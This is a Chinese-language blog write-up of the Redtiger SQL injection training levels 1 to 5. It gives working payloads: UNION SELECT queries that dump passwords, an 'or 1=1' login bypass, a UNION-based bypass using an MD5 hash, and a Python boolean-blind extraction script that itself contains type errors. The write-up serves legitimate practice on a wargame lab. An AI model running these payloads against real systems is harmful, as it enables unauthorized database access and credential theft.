1. 程式人生 > >Redtiger SQL注入練習(一)

Redtiger SQL注入練習(一)

感覺會的東西太少了,以後要多練習,多寫部落格。要堅持學習,一定不能放棄,為夢想奮鬥。

redtiger  這個平臺早就開始做了,但是才做到第4關。。。。

第一關

開啟題,

先隨便試,後來發現點選 Category 後的1 可以注入,

然後就是注入了,構造cat=1'' 還報錯,估計是數字型注入,然後構造cat=1 order by 1猜列數,得出是4個。

cat=1 union select 1,2,3,4 發現回顯3,4。

我用information_schema這個庫,但是不行,仔細看頁面發現已經給了表名,學網安也需要視力啊。

直接cat=1 union select 1,2,password,4 from level1_users

使用者名稱也給出了,然後就登入進入第二關吧!

第二關:

看題想到萬能密碼,我試了很多次都登不上,看了別人的操作,感覺我輸入的和他一樣啊,咋就進不去了。。。。

直接貼上複製的萬能密碼登入。

username=admin' or '1'='1          password='or 1=1#

第三關:

我在這關採坑時間最長,翻遍了所有人的writeup,就是不行。。。後來才知道問題所在。

提示是,報錯注入。點選TheCow  ,看到url明顯經過加密,函式報錯。。。也不知道怎麼加密,就試了陣列  usr[]=.......

進入這個檔案,發現加密解密函式

然後構造 注入語句 加密就可以了。(不知道是php版本不同還是linux和windows不同導致的隨機數不同,加密的結果也不同,我就踩了這個坑。)

這個網址有詳細注入過程:https://www.jianshu.com/p/84d543cff8c0

第四關:

進入第四關,發現注入只會回顯0或1,應該是布林盲注。

猜一下keyword長度,id=1 and length(keyword)=   得出21.

構造url語句 id=1 and ascii(substr((keyword,1,1)))=

盲註腳本:

import string
from re import *
from urllib.request import *

answer=""
char=string.printable
login ={'Cookie':'level4login=there_is_no_bug'}
url="https://redtiger.labs.overthewire.org/level4.php?id=1%20and%20ascii(substr((select%20keyword%20from%20level4_secret),{0},1))={1}"

for q in range(1,22):
    for i in range(1,127):
        test=(url .format(q,i))
        request=Request(test,None,headers=login)
        res=urlopen(request)
        s=res.read().decode()
        if(findall("Query returned 1 rows.",s)):
            print("{0}  ".format(q)+i)
            answer+=i
            break

print(answer)

跑出答案,進入第五關。

第五關:

看提示,過濾了幾個函式,而且不是盲注,bapass 登入,密碼是md5加密。

先隨便輸一個賬號密碼,返回 user not found。

然後構造一個:

返回,login failed。可見 username已經繞過。然後order by查詢,發現不可以。直接union select 試吧。

得出欄位是2。

構造:username=' union select 1,'c81e728d9d4c2f636f067f89cc14862c'#

password=2

過關。。。。

(後5關再寫另一篇)